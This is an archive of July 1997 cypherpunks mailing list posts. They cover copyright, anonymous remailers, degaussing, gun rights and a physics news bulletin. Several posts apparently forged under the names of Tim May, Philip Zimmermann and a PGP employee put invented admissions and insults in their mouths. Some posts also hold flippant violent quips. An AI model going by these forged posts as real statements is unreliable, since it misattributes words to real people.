kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 3 Jul 1997 03:33:28 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970702180139.648A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>  As a recording musician I expected to get money for my recordings,
> just as everyone else in the chain of business did in making my
> music available to the end-user. (And just as a grocer who makes
> food available to his customers expects you to leave something in
> the till on your way out of the store.)

You draw incorrect paralells between the physical medium and the data 
encoded on it.

>  I have never had any problem with someone recording a copy of my
> music from a purchased copy if they are a music lover with a thin
> pocket, or can't readily purchase it. If someone with a $2000.00
> stereo wants to enjoy the fruits of my labor without contributing
> any money to my health and welfare, then I consider them to be just
> another thief.

Theivery doesn`t come into it, you simply have no property rights over 
your speech. I can "say" whatever I want, that includes "saying" the same 
set of bits on a CD made by you, onto a tape or minidisc. Because MD and 
DAT are not yet common, and as Tim pointed out most consumer DAT boxes 
don`t copy original CDs or DATs, copying is less widespread than it could 
be; if I like an Artists work or a particular album I will buy it on CD 
because the quality is higher than copying to tape, and I don`t have a 
DAT machine (even if I did I wouldn`t find it useful as my main stereo is 
in my car). I don`t just say this; I do it, I have a lot of copied music 
which I listen to occasionally but all my favourite stuff (my large-ish 
collection of jazz and blues) is on original CD.

>   Buy it, if at all possible. If you download a copy on the net
> and can't afford $99.00, then send them $10.00, or $20.00, etc.
> If you can't afford to send them a nickle, then do what you can
> to promote their product. Provide pointers to their business,
> tell people about their products, etc.

I agree with this sentiment entirely: Copyright is not something to be 
enforced or condoned but if you do use someones work think about at least 
giving credit or making a donation on a voluntary basis, for one thing it 
helps stimulate the market.

>   Technology may well enable us to take the product and give
> nothing in return to those who made it available, but doing so
> will not further our own beliefs and aims to any extent.

Again, this is the right way to think of "intellectual property", not as 
real tangiable property which can, or even should be protected, but as a 
bond of trust between provider and end user, if you rip off a copy of my 
s/w and decide you like it, why not buy a copy? The same is true of 
music, source code, hard-copy books etc...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 08:43:12 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
Message-ID: <33BAF064.B56@got.net>
MIME-Version: 1.0
Content-Type: text/plain



BigNuts wrote: 
> > On Tue, 1 Jul 1997, Tim May wrote:
> >
> > > Technology liberates the bits.
>
>   Tim gave excellent information on how one can go about using
> technology to enjoy the fruits of other people's labour without
> contributing toward the survival of those producing the things
> he enjoys.

  Anything that isn't nailed down, is mine.
  Anything that I can pry loose, isn't nailed down.

>   When I originally came up with the concept of BlackNet and
> anonymous remailers, I foresaw that my invention of Public Key
> Cryptography might help make it possible for ordinary people to reap
> the benefits of other peoples' ideas and hard work, without doing
> anything to contribute toward the survival of creative, productive
> people.

  Big deal. I was the first one to write about fire and the wheel
but you don't see me constantly reminding people about it.

>   I can understand that Tim May wants to hang on to the mountain of
> cash that was made possible by his company's software copyrights,
> but I am surprised that he seems so boastful about denying others
> any compensation for their ideas, talent, and labour.

  Hey! I got mine and I'm keeping it!
  Just because a bunch of gullible people believed my company's claim
that we owned the results of our creative ideas doesn't mean that I
have to be a sucker, too.

  People have no more right to deny others the free use of their
creative ideas than they do to deny others the free use of their
identities.
  Technology allows me to use other people's idea capital and their
reputation capital without compensating them and any attempt to deny
me my right to do so is an infringement on my freedom.

  Everything in the world is up for grabs and those who have the most
firepower get to take the goodies home. I have the latest in guns
and digital technology, so I can get and keep a lot of goodies.
  {BTW, if you grab all of the candy bags from all of the children
out Halloweening it doesn't matter if they don't come back next
year because there will always be new suckers to take their place.}

Theres something wrong when I'm a forger under an increasing number of
laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | identity anarchy: encryption, digital
money,
tcmay@got.net  408-728-0152 | anonymous identity, digital identities,
zero
W.A.S.T.E.: Corralitos, CA  | identity, reputations, identity markets,
Higher Power: 2^1398269     | black eyes, collapse of identity.
"Personal Identity isn't even a speed bump on the reputation capital
highway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 3 Jul 1997 09:18:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Japanese Balloon Bomb Special - Info
Message-ID: <199707030052.TAA12660@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

During the discussion of the Japanese Balloon Bomb's and their history I
mentioned a special on the Discovery Channel (TDC). That show is 'Discover
Magazine'.

                                                       Jim Choate
                                                       TAG
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 3 Jul 1997 09:27:45 +0800
To: tesla@ssz.com (Experimental Instrumentation)
Subject: update.328 (fwd)
Message-ID: <199707030056.TAA12725@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From physnews@aip.org Wed Jul  2 19:12:35 1997
Date: Wed, 2 Jul 97 11:02:31 EDT
From: physnews@aip.org (AIP listserver)
Message-Id: <9707021502.AA12498@aip.org>
To: physnews-mailing@aip.org
Subject: update.328

PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 328 July 2, 1997    by Phillip F. Schewe and Ben Stein

THE MARS PATHFINDER spacecraft arrives July 4 at its
destination where, after firing retrorockets and deploying a
parachute and numerous airbags, it will bounce to a halt on what
was probably an ancient floodplain.  After this, its missionary
rover will venture forth to taste rocks and make movies. The
local weather forecast calls for blue skies and wispy clouds with a
small chance of a dust storm (currently 600 miles to the south),
in which case the sky will be pink. In September another craft,
the Mars Global Surveyor, will take up orbit around Mars.  (For
the latest update, view the JPL website: mpfwww.jpl.nasa.gov/)

STORING AN OPTIMUM AMOUNT OF INFORMATION IN A
PHOTON or any other quantum particle is possible even in the
presence of noise, researchers have concluded (B. Schumacher et
al., Physical Review A, July 1997; A.S. Holevo, upcoming in
IEEE Transactions on Information Theory).  A photon has many
different quantum states, each of which can be made to represent a
different digit.  Furthermore, one can store many digits
simultaneously in a single photon by putting it into a combination
or "superposition" of many states.  However, quantum mechanics
prevents a measuring device from perfectly distinguishing between
all these different states.  Previously, physicists discovered that the
maximum amount of information that can be read from a photon
can be no greater than the amount of entropy, or disorder, it
acquires when a range of quantum states is created to represent
different digits.  Now, the researchers show that this upper limit can
be reached, even in a noisy environment, by utilizing several
strategies, such as employing only those quantum states that are
most distinguishable.  These findings provide insights into how little
energy is required to store a message.  (For more details, go to
www.aip.org/physnews/preview; Ben Schumacher, Kenyon
College, 614-427-5832)

HOLLOW NANOPARTICLE LUBRICANTS, consisting of
fullerene-like tungsten disulfide balls, have performed well in
friction and durability tests, and may be superior to other solid-state
lubricants, which usually come in powdered form.  The 100-nm
WS2 balls (much smaller than conventional powder grains, microns
across) are nested like some carbon nanotubes, but flexible.  This,
their chemical inertness, and the tendency to roll rather than slide
when pushed, should make the nanoparticles a good lubricant at the
micron scale, or as an additive in other lubricants. Scientists
working at the Weizmann Institute and at the Center for
Technological Education in Israel are now able to make gram
amounts of the lubricant.  (L. Rapoport et al., Nature, 19 June
1997.)

ONE MEASURE OF A NATION'S SCIENTIFIC STRENGTH is
the number of papers it generates and the citations those papers
receive.  For the period 1992-96, these were the top  producers of
papers in a select set of journals: US (1.3 million), UK (300,000),
Japan (281,000), and Germany (259,000).  Ranked according to
citations per paper, the order becomes Switzerland (5.66), US
(5.03), Netherlands (4.46), Sweden (4.38), and UK (4.19).
The EU nations lumped together and the US each have a 36% share
of total citations.  The general trend these past 15 years has been for
the US citation rate to remain high but for its citation share to give
ground to the EU and to Asian/Pacific nations.  (ISI ScienceWatch,
May/June; also Nature, 5 June 1997.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 3 Jul 1997 09:19:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Liberating the Bits
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: <Pine.SOL.3.96.970702195826.12128F-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Tim May wrote:

>   Hey! I got mine and I'm keeping it!
>   Just because a bunch of gullible people believed my company's claim
> that we owned the results of our creative ideas doesn't mean that I
> have to be a sucker, too.
> 

If you're willing to admit you got yours under false pretenses,
the rest of us would like to have it back. Now.

MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 10:38:25 +0800
To: cypherpunks@toad.com
Subject: Test 3
Message-ID: <199707030216.UAA19578@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Test name/spaces no quotes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 3 Jul 1997 09:29:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <19970702180331.11847@bywater.songbird.com>
Message-ID: <199707030120.UAA20220@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970702180331.11847@bywater.songbird.com>, on 07/02/97 
   at 06:03 PM, Kent Crispin <kent@songbird.com> said:

>"There is something right when Kent Crispin is not a felon under an 
>increasing number of laws."

Just goes to show that you can goose-step with the best of them Kent.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7r+t49Co1n+aLhhAQG1MgP/aX1pinHLHw+H2883L2jLE4B8WUG4Xsjn
zdei4cc1vnHP0ZQQtmhZugYrj1mRkp3Av97MOtMydsc4ZLgNMad71OkYfW6DEkBY
nlgdmZIPFirjwqGprQRRcesLpiWAGy/3WIgwOGW/THnMixOrCbb6LZdTbd6yQpKW
14b3DbwzW7w=
=Mumc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 3 Jul 1997 09:00:45 +0800
To: Paul Bradley <tcmay@got.net>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <3.0.2.32.19970702205025.03d40f54@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:32 PM 7/2/97 +0000, Paul Bradley wrote:
>No, speech or practice of religion are not of the same ilk as the right 
>to own firearms, I am definitely on thin ice here, and I admit I am not 
>entirely certain of my own perspective, BUT I cannot see how someone 
>convicted of armed robbery should be allowed the right to own firearms 
again.
>A person convicted of a violent armed crime is just not in the same 
>league as an innocent citizen, and should not have the same rights.

Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6 
months, then well behaved people will predominate and many of the maladjusted 
will find themselves well-adjusted or dead.

Rough 6 months.  Try to spend it in the South of France.

This may be the de facto eventuality as nanotech develops.  If the soccer 
moms are afraid of assault rifles, how will they react to the nastiness you 
will be able to gin up from you desktop fab station in a few years.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7r3UIVO4r4sgSPhAQHshAQAlVEXSi7VU/pKr9dnRmid7BjIqL8DKvzj
jXS0DDs4qZRagFolKlu7FuC4QaLwCO9mhBoP9VWXheECOAp5ahZc6Co0AvlJHiQf
Gfdgz7obRF5ZcRGu14tVNajZ8BLnXf1rX9RVwI6LO5XpLZXhi5Me6FC530bu1X7Z
02dB9BxNNyQ=
=XgnA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 11:25:23 +0800
To: cypherpunks@toad.com
Subject: Test 4
Message-ID: <199707030253.UAA24549@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Test / multiple posts

Subject: 
        Returned mail: unknown mailer error 2
  Date: 
        Thu, 3 Jul 1997 03:33:44 +0200 (MET DST)
  From: 
        Mail Delivery Subsystem <MAILER-DAEMON@basement.replay.com>
    To: 
        <wombat@bc.sympatico.ca>


The original message was received at Thu, 3 Jul 1997 03:33:42 +0200 (MET
DST)
from wombat.sk.sympatico.ca [142.165.5.136]

   ----- The following addresses had permanent fatal errors -----
"|/usr/home/replay/.mixmaster/mixmaster -R |
/usr/home/replay/.remailer/remailer || exit 75"
    (expanded from: <remailer@REPLAY.COM>)

   ----- Transcript of session follows -----
Cannot fork
554 "|/usr/home/replay/.mixmaster/mixmaster -R |
/usr/home/replay/.remailer/remailer || exit 75"... unknown mailer error
2
Cannot fork

   ----- Original message follows -----

Return-Path: <wombat@bc.sympatico.ca>
Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136])
        by basement.replay.com (8.8.5/RePlay, Inc.) with ESMTP id
DAA15223
        for <remailer@REPLAY.COM>; Thu, 3 Jul 1997 03:33:42 +0200 (MET
DST)
Received: from default (lohner31.sk.sympatico.ca [142.165.98.31]) by
wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id TAA13669 for
<remailer@REPLAY.COM>; Wed, 2 Jul 1997 19:30:20 -0600 (CST)
Message-ID: <33BB013D.1242@sk.sympatico.ca>
Date: Wed, 02 Jul 1997 19:32:45 -0600
From: Rabid Wombat <wombat@bc.sympatico.ca>
Reply-To: wombat@bc.sympatico.ca
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: remailer@REPLAY.COM
Subject: Kent finally comes around / Re: NRA and National Online Records
Check bullshit
References: <v03102805afdee15fe080@[207.167.93.63]>
<3.0.2.32.19970702205025.03d40f54@panix.com>
<19970702180331.11847@bywater.songbird.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

;;
Anon-To: cypherpunks@toad.com

Kent Crispin wrote:
> On Wed, Jul 02, 1997 at 08:50:25PM -0400, frissell@panix.com wrote:

> >Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6
> >months, then well behaved people will predominate and many of the maladjusted
> >will find themselves well-adjusted or dead.
> 
> Along with a far larger number of well-adjusted innocents.  And the
> maladjusted who aren't dead will be in power.

  I believe you meant to say "will _remain_ in power."
 
> No question about it, the only hope for the human race is wide
> dispersal.  Everybody should join the L5 society, if it still exists,
> or become a terrorist Luddite, and bomb us back to the stone age.

  Are you finally coming around to a cypherpunk frame of mind, Kent,
or is this a cheap political ploy to get the "Cypherpunk of the Year"
award?
 
> But the Earth is doomed, anyway, in 5 billion years.  And we have
> either the grand crunch or the heat death of the universe to contend
> with after that.  Hopeless.

  The religious right is working to get a law passed to prevent this
from happening, since it is evolutionary hocus-pocus that goes against
belief in God as the Creator. The law will no doubt be nullified by
the Supreme Court as violating the separation of church and state.

> Kent Crispin                            "No reason to get excited",
> kent@songbird.com                       Tim May, he kindly spoke...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Thu, 3 Jul 1997 10:37:05 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: What are the available anonymous remailers?
Message-ID: <199707022153_MC2-19AF-9D8A@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

I saw the address for this list in Jeff Licquia's PGP FAQ.  I haven't
subscribed to it heard, as the FAQ said traffic on this list could be 30-40
messages a day.  As I'm attempting to cut down the time I spend on
CompuServe...

Unfortunately, that means if you want to get a message to me, you'll have
to send it to me directly, you can't send it to the list.  My address is
atu5713@compuserve.com

My public key is included in this message.

Anyway, here comes my real question.  I am interested in finding an
easy-to-use no-nonsense anonymous remailer.  But anon.penet.fi seems to
have shut down.  I sent mail to ping@anon.penet.fi and help@anon.penet.fi
and I got a undeliverable message.  Could someone point me to a remailer?

Sincerely,

Alan Tu

Type Bits/KeyID    Date       User ID
pub  1024/E5D915E1 1997/04/27 Alan Tu <atu5713@compuserve.com>
                              Alan Tu <102534.2165@compuserve.com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: Requires PGP version 2.6 or later.

mQCNAzNivkwAAAEEALdGUXD3j+RioIirVG46N6LaGD3YMMVVT5Mjwr5JojQsDICy
856I06Ugo/Fqid2A/os7v/gwE+Sj/WhMERgTsTejUZtsucTpS9sae+cc27Fjjq1l
hOnqcLZqnHDDNyn3+jesVFPLnRlSoHbmcBK1XDW/SJT1anZz55ezmBrl2RXhAAUR
tCBBbGFuIFR1IDxhdHU1NzEzQGNvbXB1c2VydmUuY29tPokAlQIFEDOguk6Xs5ga
5dkV4QEBBF8D/1B0ePqlMavWEUMP0uTmyvWFI7jooAcih6uHZFo2u+u3EzE2Is8X
EoLHg39DhjleTHPu6TnGsWIiwDYEslzYeVw/Cglx6eliYIr/qs7peEywuhtZsEFH
ln6yR9IE6rX3b3GCvPSQ5uPhXWrd2kWaZvG4rQ4Oj1m3yTrFaPRqCBPvtCRBbGFu
IFR1IDwxMDI1MzQuMjE2NUBjb21wdXNlcnZlLmNvbT4=
=fwyg
-----END PGP PUBLIC KEY BLOCK-----
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 3 Jul 1997 13:45:36 +0800
To: Alan <alano@teleport.com>
Subject: Re: Degaussing
In-Reply-To: <Pine.GSO.3.96.970702100619.20299F-100000@linda.teleport.com>
Message-ID: <Pine.3.89.9707022211.A15627-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



The Cypherpunks Shooting Club welcomes you each Sunday immediately 
following the monthly CP meeting. Except this August, when certain stalwart
members of the club will be at HIP'97. :-)

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Wed, 2 Jul 1997, Alan wrote:

> On Tue, 1 Jul 1997, Bill Frantz wrote:
> 
> > 
> > At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> > >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> > >>
> > >>Could someone please point me to a FAQ or somesuch about degaussing
> > >>magnetic media? Thank you!
> > >
> > >Electromagnetic pulse.  You want something as strong as possible.  About 10
> > >megatons should generate a big enough pulse.
> > 
> > It works better if you also expose it to the heat and blast.  :-)
> > 
> > In all seriousness, complete physical destruction of the media is the only
> > sure technique.  Lucky Green's sandblasting sounds like it should work
> > well.  Melting it into slag should also work.
> 
> That reminds me...  I have some old drives I need to take down to the
> shooting range.  (I want to make them an example to the other drives...)
> 
> Sounds like a Cypherpunk project to me. ]:>
> 
> alano@teleport.com | "Those who are without history are doomed to retype it."
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dshipman@ewol.com (Dave Shipman)
Date: Thu, 3 Jul 1997 11:36:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Liberating the Bits
Message-ID: <19970703032138015.AAA540@xxx>
MIME-Version: 1.0
Content-Type: text/plain



At 07:59 PM 7/2/97 -0500, you wrote:
>On Wed, 2 Jul 1997, Tim May wrote:
>
>>   Hey! I got mine and I'm keeping it!
>>   Just because a bunch of gullible people believed my company's claim
>> that we owned the results of our creative ideas doesn't mean that I
>> have to be a sucker, too.
>> 
>
>If you're willing to admit you got yours under false pretenses,
>the rest of us would like to have it back. Now.
>
>MacN
>
Wow... and not on AOL.

Come on guys, from now on would you attach a midi laugh track to your jokes
so the humor deprived will know its a spoof?


dLs
-----------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 05:53:39 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
Message-ID: <199707022138.XAA23892@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> >>
> >>Could someone please point me to a FAQ or somesuch about degaussing
> >>magnetic media? Thank you!
> >
> >Electromagnetic pulse.  You want something as strong as possible.  About 10
> >megatons should generate a big enough pulse.

  When using the above method, it is best performed in Washington, D.C.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 3 Jul 1997 15:04:44 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Degaussing
In-Reply-To: <Pine.3.89.9707022211.A15627-0100000@netcom2>
Message-ID: <3.0.2.32.19970702234803.00716004@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:29 AM 7/3/97 -0500, snow wrote:
>> The Cypherpunks Shooting Club welcomes you each Sunday immediately 
>> following the monthly CP meeting. Except this August, when certain stalwart
>> members of the club will be at HIP'97. :-)
>
>	What date will the meeting be? 

The regular CP meeting is always on the second Saturday of the month.

The meeting at HIP will be the same day: August 9 at the HIP campground.
I'll be the guy in the black BDU with the "L. Green" name tag, wearing a
Nomex balaklava. :-)

--Lucky
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip R. Zimmerman" <prz@pgp.com>
Date: Thu, 3 Jul 1997 14:16:46 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030557.XAA20987@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


 The recent spate of bogus keys uploaded to the PGP keyserver
(with subsequent posts forged using our employees names showing
up on mailing lists and newsgroups) is particularly troubling
given the fact that they appear to be coming from within the
ranks of the cypherpunks.
 While I still support the aims of the cypherpunks list, I must
confess to being somewhat disillusioned by these attacks by long
time members of the cypherpunks list. Even more troubling is the
fact that there is evidence of the attacks being designed to aide
one of PGP, Inc.'s competitors--Stronghold.

 I suppose I should have realized long ago that Gilmore <spit>
and Sameer <fart> were in collusion to turn the cypherpunks
against PGP in order to corner the encryption market for c2net's
back-door, GAK'ed product. Although PGP's successful effort
to get the Huge Cajones anonymous remailer shut down has helped
to minimize the damage to our reputation, we may have to take
action against other remailers, as well.
 I wish I had listened to the warnings of the late Dale Thorn,
Toto, and Dimitri Vulis before it had come to this.
  
 In conclusion, I would ask everyone to be wary when receiving
messages purporting to be from PGP, Inc. or from any of our
employees.
 It is inevitable that some gullible fools will be taken in by
the forgeries, but simple precautions such as checking the
key signatures against the keys on our keyserver and perusing
the message headers to determine the source of the email should
aide in spotting forgeries. (You should be particularly wary
of any messages originating from Canadian ISP's, as that seems
to be the natural habitat of Mongers of every sort.)

Philip R. Zimmerman <prz@pgp.com>

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7s2017MfpC8gEO7EQI7pACg0285HGGqLevqRTFZnzpB59PS8yoAn1Wp
0b7D8YcrmSn9VbjmAq55nKWx
=fRuw
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 07:51:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <v03102800afe02a4159d2@[207.167.93.63]>
Message-ID: <m0wjXhs-0003bAC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



I agree that there has been a certain stagnation, but I think things
are going up again -- despite of the recent attack.

There are three reliable nym servers in operation (nym.alias.net,
weasel.owl.de, and redneck), and I understand that people are working
on an improved system. There are at least three mail2news gateways,
and Mixmaster remailers in at least four different countries (6 in the
US, two in Germany, one each in the Netherlands, Canada and the UK,
and two at unknown locations). Four of these have started operation
last month -- hopefully others will follow.

Not to forget the Geoff Keating's remailer applet, and a new web page
with remailer statistics and reliability information that will be
announced soon.

Mixmaster 2.0.4, which is in beta test at four remailers, has the
option to forward messages to a randomly selected remailer if used as
the last hop (as Kent describes it, but it is known in advance whether
a remailer will deliver a message directly, to avoid mail being
bounced around infinitely.) Version 2.0.4 will be released soon; see
http://www.thur.de/ulf/mix/ for information about the current beta.

Cypherpunk remailers have been in operation for five years now. The
remailer network has survived attacks by the Church of Scientology and
by others. The recent incidents are annoyig, but there is no reason
for dispair because of a bunch of bozos. As our friend Paul Strassman
put it: "Conclusion: Anonymous re-mailers are here to stay. Like in
the case of many virulent diseases, there is very little a free
society can do to prohibit travel or exposure to sources of
infection."



Tim May wrote:

>At 7:40 AM -0700 7/2/97, Kent Crispin wrote:
>
>>This probably has been suggested 20 years ago, but wouldn't Jeff's
>>problem have been solved if the following slight modification were
>>made to the algorithm: If you are the last remailer in a chain, then
>>with probability p you pick another randomly choosen remailer to send
>>through.  If p is 1 end user mail would never come from you; if p is
>>0.5 then half the time you send the mail on one more step.  The end
>>user, then, can never be sure of which remailer will ultimately
>>deliver the message.
>...
>
>This general sort of thing has been discussed...though not 20 years ago! :-0
>
>I don't know about this particular mathematical algorithm, but things
>generally like it.
>
>Long before a remailer shuts down, he should certainly adopt a strategy
>like this. Sending "his" traffic through randomly selected other remailers
>is certainly an option. (Any remailer can at any point insert additional
>hops, or even chains of hops, merely be addressing them correctly. Of
>course, the "original" (which may not be the real original, of course, as
>other remailers may have done the same thing) needs to "get back on track,"
>else the decryptions won't work. But this is all a simple problem.
>
>I don't know what gets discussed on the "remailer operators list," not
>being on it, but it sure seems to me that remailers have stagnated, and
>that some of the robust methods of reducing attacks on any particular
>remailer are not being used.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carolyn Turbyfill <turby@pgp.com>
Date: Thu, 3 Jul 1997 15:34:11 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030715.BAA26652@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


The email forgeries using bogus PGP keys to give the appearance
that the messages are from PGP, Inc. and our employees are the
result of a sick, twisted mind.
Perhaps someone thinks they are being funny, but I, for one, am
not amused.

In order for the internet to function in a coherent, meaningful
manner, people need to be able to have assurance that the email
they receive accurately reflects the true source of the message
and be able to verify the identity of the writer by checking
for a valid signature.
I urge the person or persons doing this to stop. Immediately!

After I send this message to the cypherpunks list and receive
it back in my email, I'm going to check the signature and the
headers on it and if it turns out to be a forgery, like the
others, then I'm going to be really, really mad.

Carolyn Turbyfill <turby@pgp.com>
"I'm not wearing any panties."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tNBu5XWImkXCQiEQLiggCfcJmJBkepBVEDtktoSMtTV97f0uoAoNCe
6IrX5/0nUBjpcIq24XtMFDlK
=0CHj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Thu, 3 Jul 1997 16:30:10 +0800
To: <cypherpunks@Algebra.COM>
Subject: http://hipcrime.home.ml.org
Message-ID: <199707030822.BAA09194@italy.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 3 Jul 1997 14:37:54 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Degaussing
In-Reply-To: <Pine.3.89.9707022211.A15627-0100000@netcom2>
Message-ID: <199707030629.BAA00259@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> The Cypherpunks Shooting Club welcomes you each Sunday immediately 
> following the monthly CP meeting. Except this August, when certain stalwart
> members of the club will be at HIP'97. :-)

	What date will the meeting be? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 08:03:34 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Cooper/Birman message service / IBM's anonymous remailer
